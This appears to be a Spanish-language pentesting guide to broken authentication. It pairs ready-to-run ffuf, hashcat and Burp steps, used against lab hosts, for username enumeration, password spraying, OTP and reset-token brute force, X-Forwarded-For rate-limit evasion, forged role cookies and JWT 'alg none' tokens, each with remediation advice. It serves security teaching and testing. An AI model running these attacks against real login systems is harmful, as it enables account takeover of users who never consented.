Skip to content

Broken Authentication

Broken Authentication agrupa el conjunto de vulnerabilidades relacionadas con mecanismos de autenticación mal implementados: enumeración de usuarios, ausencia de protección contra fuerza bruta, tokens de sesión predecibles, y bypasses de la lógica de autenticación/autorización. Es una de las categorías más consistentemente explotables en aplicaciones reales, porque a menudo involucra lógica de negocio personalizada (no una librería estándar bien auditada).

Enumeración de usuarios

Para atacar un mecanismo de login, un atacante normalmente necesita primero una lista de nombres de usuario válidos. Los nombres de usuario suelen ser mucho menos complejos que las contraseñas (rara vez contienen caracteres especiales si no son direcciones de correo), lo que hace viable enumerarlos directamente. Una lista de usuarios válidos permite acotar el alcance de un ataque de fuerza bruta, realizar ataques dirigidos vía OSINT, o ejecutar password spraying (una misma contraseña común contra muchas cuentas, ver más abajo).

Otras fuentes para obtener nombres de usuario: crawling de la aplicación web, perfiles públicos en redes sociales corporativas (LinkedIn es especialmente útil para inferir el formato de nombre de usuario/correo de una organización), y colecciones de wordlists como SecLists.

c
❯ ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://172.16.74.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
  • -fr "Unknown user" : oculta las respuestas que contienen el mensaje de error específico de "usuario no encontrado", dejando visibles solo los intentos con un nombre de usuario que sí existe — ver web_fuzzing.md para más detalle de este flag.
  • Esta técnica funciona porque la aplicación revela, mediante un mensaje distinto, si el usuario existe o no (un error de diseño común: "Unknown user" vs "Invalid password" son mensajes distinguibles). La mitigación correcta es un mensaje genérico idéntico ("Invalid username or password") para ambos casos.

Enumeración por diferencia de tiempo de respuesta

Cuando el mensaje de error es idéntico para usuario inexistente y contraseña incorrecta, a veces aún se puede enumerar por el tiempo de respuesta: validar una contraseña contra un hash almacenado (usuario existente) suele tardar más que rechazar inmediatamente un usuario inexistente:

c
❯ ffuf -w usuarios.txt -u http://172.16.74.10/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -o resultados.json -od
  • Revisar el campo duration de cada resultado y comparar — una diferencia consistente entre grupos de respuestas es indicio de enumeración viable por timing.

Fuerza bruta de contraseñas

Preparar un diccionario personalizado

c
❯ wc -l /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt

14344391 /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt

Filtrar rockyou.txt para quedarse solo con contraseñas que cumplan una política de complejidad específica (mayúscula + minúscula + dígito + longitud mínima), reduciendo drásticamente el tamaño del ataque cuando se conoce la política de contraseñas del objetivo:

c
❯ grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt

❯ wc -l custom_wordlist.txt

151647 custom_wordlist.txt

Ejecutar el ataque:

c
❯ ffuf -w ./custom_wordlist.txt -u http://172.16.74.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"

<SNIP>

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4764ms]
    * FUZZ: Buttercup1
  • Un código 302 (redirect) tras el intento suele indicar login exitoso, a diferencia de un 200 que vuelve a mostrar el formulario de login con error — confirmar siempre el comportamiento específico del objetivo antes de asumir esto.

Password Spraying (alternativa a fuerza bruta tradicional)

En vez de probar muchas contraseñas contra un solo usuario (lo que dispara bloqueos de cuenta), el password spraying prueba una contraseña común contra muchos usuarios, avanzando a la siguiente contraseña solo después de agotar la lista de usuarios. Esto reduce drásticamente la probabilidad de bloqueo, ya que cada cuenta individual recibe muy pocos intentos:

c
for user in $(cat usuarios.txt); do
    ffuf -w /dev/stdin:PASS -u http://172.16.74.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=$user&password=PASS" -fr "Invalid username" <<< "Summer2024!"
done
  • Especialmente efectivo tras una campaña de OSINT que revele patrones de contraseñas estacionales/corporativas comunes en la organización objetivo.

Fuerza bruta de tokens de restablecimiento de contraseña

Cuando el token de reset es corto/numérico (en vez de un valor criptográficamente aleatorio de longitud suficiente), es directamente fuerza-bruteable:

c
❯ seq -w 0 9999 > tokens.txt
c
❯ ffuf -w ./tokens.txt -u http://reset-password.empresacorp.local/reset_password.php?token=FUZZ -fr "The provided token is invalid"

<SNIP>

[Status: 200, Size: 2667, Words: 538, Lines: 90, Duration: 1ms]
    * FUZZ: 6182
  • Un espacio de tokens de solo 10,000 valores (4 dígitos) se agota en segundos — cualquier token de reset de contraseña debería ser un valor aleatorio largo (mínimo 128 bits de entropía) con expiración corta, no un contador o valor numérico corto.

Fuerza bruta de códigos 2FA/OTP

c
❯ seq -w 0 9999 > tokens.txt
c
❯ ffuf -w ./tokens.txt -u http://2fa.empresacorp.local/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=rrc35048jvdk1s6fu8qjbv513l" -d "otp=FUZZ" -fr "Invalid 2FA Code"

<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 648ms]
    * FUZZ: 6513
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 635ms]
    * FUZZ: 6514

<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1ms]
    * FUZZ: 9999
  • -b "PHPSESSID=..." : necesario porque el paso de 2FA depende de una sesión ya autenticada con el primer factor (usuario/contraseña) — el código OTP por sí solo no tiene sentido sin el contexto de sesión asociado.
  • Un TOTP de 6 dígitos estándar (Google Authenticator, Authy) no es vulnerable a esto en condiciones normales porque expira en ~30 segundos y debería tener límite de intentos — esta técnica aplica principalmente a implementaciones caseras de OTP sin rate limiting ni expiración adecuada.

Protecciones contra fuerza bruta (y cómo evaluarlas)

  • Rate limiting: limitar el número de intentos por IP/cuenta/ventana de tiempo. Al evaluar, comprobar si el límite es por IP (evadible con X-Forwarded-For falsificado si el backend confía ciegamente en esa cabecera) o por cuenta (más robusto).
  • CAPTCHA: previene automatización simple; evaluar si el CAPTCHA se valida realmente en el backend o solo se muestra visualmente sin verificación server-side (un error común).

Bypass de rate limiting vía cabeceras de IP falsificadas

Si el backend usa X-Forwarded-For (u otra cabecera similar) para identificar la IP de origen del rate limiting, en vez de la IP real de la conexión TCP, se puede rotar el valor de la cabecera en cada intento para evadir el límite:

c
❯ ffuf -w custom_wordlist.txt -u http://172.16.74.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -H "X-Forwarded-For: FUZZ" -d "username=admin&password=Buttercup1" -w ips_aleatorias.txt
  • Requiere una wordlist de IPs distintas (aleatorias o generadas) para el valor de la cabecera en cada intento.

Password Attacks (más allá de la fuerza bruta pura)

Contraseñas por defecto

Muchos dispositivos/aplicaciones nunca cambian las credenciales de fábrica. Referencia extensa de credenciales por defecto por fabricante/producto:

Preguntas de seguridad adivinables

Las preguntas de restablecimiento tipo "¿en qué ciudad naciste?" tienen un espacio de respuestas mucho más pequeño de lo que parece — se puede fuerza-brutear con una lista de ciudades del mundo:

c
❯ cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt

❯ wc -l city_wordlist.txt 

26468 city_wordlist.txt

Fuente: https://github.com/datasets/world-cities/blob/main/data/world-cities.csv

c
❯ ffuf -w ./city_wordlist.txt -u http://empresacorp.local/security_question.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=39b54j201u3rhu4tab1pvdb4pv" -d "security_response=FUZZ" -fr "Incorrect response."

<SNIP>

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
    * FUZZ: Houston

Si se conoce (por OSINT) la nacionalidad/región del usuario objetivo, filtrar la wordlist reduce drásticamente el espacio de búsqueda:

c
❯ cat world-cities.csv | grep Germany | cut -d ',' -f1 > german_cities.txt

❯ wc -l german_cities.txt 

1117 german_cities.txt
  • Este hallazgo (preguntas de seguridad con respuestas fuerza-bruteables) es un patrón de diseño inherentemente débil — la recomendación de remediación no es "mejorar la pregunta" sino eliminar las preguntas de seguridad como mecanismo de recuperación, reemplazándolas por verificación vía correo/SMS/token temporal.

Authentication Bypass vía manipulación de respuesta

Cuando el control de acceso se implementa incorrectamente confiando en el código de estado HTTP de la respuesta (en vez de validar la sesión server-side en cada petición), se puede interceptar y modificar la respuesta del servidor para engañar al propio navegador:

Con Burp Suite, interceptando la respuesta (no la petición) de un endpoint protegido:

  1. Habilitar Intercept en Burp Proxy.
  2. Navegar hasta el endpoint protegido (por ejemplo, /admin.php) en el navegador.
  3. Clic derecho sobre la petición interceptada → Do intercept > Response to this request, para interceptar la respuesta en vez de la petición.
  4. Cuando llegue la respuesta con código 302 (redirect hacia login, indicando acceso denegado), cambiarla manualmente a 200 OK antes de reenviarla.
  • Si la lógica de renderizado del lado del cliente (JavaScript) decide mostrar el contenido protegido basándose únicamente en el código de estado recibido (asumiendo que el servidor ya validó todo), este bypass funciona sin necesidad de credenciales válidas.

Automatizar esto sin intercepción manual en cada petición, usando Match and Replace de Burp:

c
Match:    HTTP/1.1 302
Replace:  HTTP/1.1 200 OK
  • Configurado en Burp Proxy → Options → Match and Replace, aplica la sustitución automáticamente a todas las respuestas que coincidan, evitando tener que interceptar manualmente cada petición durante la navegación.

Ataques a tokens de sesión

Identificación de tokens débiles/predecibles

Capturar varios tokens de sesión sucesivos y compararlos byte a byte revela patrones. Ejemplo de tokens con una porción fija y solo una pequeña porción realmente aleatoria:

c
2c0c58b27c71a2ec5bf2b4b6e892b9f9
2c0c58b27c71a2ec5bf2b4546092b9f9
2c0c58b27c71a2ec5bf2b497f592b9f9
2c0c58b27c71a2ec5bf2b48bcf92b9f9
2c0c58b27c71a2ec5bf2b4735e92b9f9

De los 32 caracteres, 28 son idénticos entre las cinco sesiones capturadas: el token consiste en la cadena estática 2c0c58b27c71a2ec5bf2b4, seguida de 4 caracteres realmente aleatorios, seguida de la cadena estática 92b9f9. Esto reduce la entropía efectiva del token de 32 caracteres hexadecimales (una fuerza bruta computacionalmente inviable) a solo 4 caracteres (16^4 = 65,536 combinaciones — trivialmente fuerza-bruteable), permitiendo secuestrar cualquier sesión activa.

Otro patrón débil común: identificadores de sesión secuenciales/incrementales:

c
141233
141234
141237
141238
141240
  • Si los IDs de sesión son simplemente un contador (con pequeños huecos por sesiones ya cerradas/expiradas), se puede predecir y probar IDs cercanos a uno recién observado para secuestrar sesiones de otros usuarios activos en ese momento.

Automatizar el fuzzing de la porción variable del token

Una vez identificado el patrón (prefijo/sufijo fijo, porción variable acotada), se puede fuzzear específicamente esa porción en vez del token completo:

c
❯ ffuf -w /usr/share/seclists/Fuzzing/4-digit-hex-0000-FFFF.txt -u http://172.16.74.10/dashboard -H "Cookie: session=2c0c58b27c71a2ec5bf2b4FUZZ92b9f9" -fs 0

Decodificación/manipulación de tokens en Base64

Cuando el token de sesión (o una cookie relacionada, como un rol de usuario) es simplemente Base64 de un valor legible, sin firma criptográfica que lo proteja, se puede decodificar, modificar, y re-codificar libremente:

c
❯ echo -n dXNlcj1odGItc3RkbnQ7cm9sZT11c2Vy | base64 -d

user=student;role=user

Modificar el valor y volver a codificar:

c
❯ echo -n 'user=student;role=admin' | base64

dXNlcj1odGItc3RkbnQ7cm9sZT1hZG1pbg==

Alternativa en hexadecimal, si el formato esperado por la aplicación es hex en vez de Base64:

c
❯ echo -n 'user=student;role=admin' | xxd -p

757365723d6874622d7374646e743b726f6c653d61646d696e
  • Este patrón (cookie de rol sin firmar, modificable libremente) es un fallo crítico de diseño: cualquier dato usado para decisiones de autorización debe estar firmado criptográficamente del lado del servidor (HMAC, JWT firmado con clave secreta) para que una modificación del lado del cliente sea detectable e inválida.

Ataques a JWT (JSON Web Tokens)

Cuando el token de sesión es un JWT, existen vectores de ataque específicos del formato:

Decodificar sin verificar firma (los JWT no están cifrados, solo codificados en Base64URL — cualquiera puede leer el payload):

c
❯ echo '<header>.<payload>.<firma>' | cut -d. -f2 | base64 -d

Si el servidor acepta el algoritmo none (sin firma), se puede fabricar un token arbitrario sin conocer la clave secreta:

c
❯ echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '='
❯ echo -n '{"user":"admin","role":"admin"}' | base64 | tr -d '='
# Token final: <header_b64>.<payload_b64>.  (firma vacía)

Si la clave de firma HMAC es débil, se puede intentar crackearla offline:

c
❯ hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
  • -m 16500 : modo de hashcat específico para JWT firmados con HS256.
  • Herramientas dedicadas como jwt_tool automatizan la detección de estas debilidades (algoritmo none, confusión RS256/HS256, claves débiles) en un solo comando.

Notas de metodología

  • Siempre capturar múltiples tokens de sesión (mínimo 5-10) antes de concluir si hay un patrón — un solo token no es suficiente para distinguir entre aleatoriedad real y un patrón oculto.
  • Documentar tanto el mensaje de error específico que habilita la enumeración de usuarios como el mecanismo exacto de generación de tokens débiles — la remediación es distinta en cada caso (mensajes genéricos vs. generador criptográficamente seguro).
  • Combinar hallazgos de esta categoría con otros documentos: un IDOR (idor.md) sobre un token de sesión predecible, o un XSS (xss.md) que robe una cookie sin flag HttpOnly, a menudo constituyen una cadena de explotación más convincente que cada hallazgo por separado.